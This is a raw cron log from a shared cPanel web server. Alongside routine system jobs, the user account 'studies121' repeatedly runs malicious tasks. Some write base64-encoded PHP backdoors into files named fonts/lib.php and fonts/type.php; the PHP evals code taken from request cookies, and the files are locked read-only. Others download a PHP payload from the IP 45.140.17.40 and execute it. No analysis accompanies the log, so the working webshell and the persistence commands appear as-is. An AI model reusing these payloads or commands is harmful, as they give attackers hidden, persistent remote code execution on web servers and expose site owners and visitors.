Sep 10 01:57:01 ip-184-168-122-23 CROND[14127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:58:01 ip-184-168-122-23 CROND[14297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:58:01 ip-184-168-122-23 CROND[14299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:58:01 ip-184-168-122-23 CROND[14301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:58:01 ip-184-168-122-23 CROND[14300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:58:01 ip-184-168-122-23 CROND[14302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:59:01 ip-184-168-122-23 CROND[14387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:59:01 ip-184-168-122-23 CROND[14390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:59:01 ip-184-168-122-23 CROND[14391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:59:01 ip-184-168-122-23 CROND[14392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:00:01 ip-184-168-122-23 CROND[14491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14485]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14492]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 02:00:01 ip-184-168-122-23 CROND[14495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:01:01 ip-184-168-122-23 CROND[14600]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 02:01:01 ip-184-168-122-23 CROND[14602]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:01:01 ip-184-168-122-23 CROND[14604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:01:01 ip-184-168-122-23 CROND[14603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:01:01 ip-184-168-122-23 CROND[14606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:01:01 ip-184-168-122-23 CROND[14605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14600]: starting 0anacron
Sep 10 02:01:01 ip-184-168-122-23 anacron[14622]: Anacron started on 2026-09-10
Sep 10 02:01:01 ip-184-168-122-23 anacron[14622]: Normal exit (0 jobs run)
Sep 10 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14624]: finished 0anacron
Sep 10 02:02:01 ip-184-168-122-23 CROND[14707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:02:01 ip-184-168-122-23 CROND[14710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:02:01 ip-184-168-122-23 CROND[14711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:02:01 ip-184-168-122-23 CROND[14712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:02:01 ip-184-168-122-23 CROND[14709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:03:01 ip-184-168-122-23 CROND[14880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:03:01 ip-184-168-122-23 CROND[14883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:03:01 ip-184-168-122-23 CROND[14882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:03:01 ip-184-168-122-23 CROND[14884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:04:01 ip-184-168-122-23 CROND[14963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:04:01 ip-184-168-122-23 CROND[14966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:04:01 ip-184-168-122-23 CROND[14965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:04:01 ip-184-168-122-23 CROND[14968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:04:01 ip-184-168-122-23 CROND[14970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:05:01 ip-184-168-122-23 CROND[15057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:05:01 ip-184-168-122-23 CROND[15061]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:05:01 ip-184-168-122-23 CROND[15063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:05:01 ip-184-168-122-23 CROND[15060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:05:01 ip-184-168-122-23 CROND[15062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:05:01 ip-184-168-122-23 CROND[15058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:05:01 ip-184-168-122-23 CROND[15059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:06:01 ip-184-168-122-23 CROND[15163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:06:01 ip-184-168-122-23 CROND[15165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:06:01 ip-184-168-122-23 CROND[15164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:06:01 ip-184-168-122-23 CROND[15167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:06:01 ip-184-168-122-23 CROND[15166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:07:02 ip-184-168-122-23 CROND[15250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:07:02 ip-184-168-122-23 CROND[15251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:07:02 ip-184-168-122-23 CROND[15253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:07:02 ip-184-168-122-23 CROND[15254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:08:01 ip-184-168-122-23 CROND[15364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:08:01 ip-184-168-122-23 CROND[15365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:08:01 ip-184-168-122-23 CROND[15367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:08:01 ip-184-168-122-23 CROND[15366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:08:01 ip-184-168-122-23 CROND[15368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:09:01 ip-184-168-122-23 CROND[15454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:09:01 ip-184-168-122-23 CROND[15457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
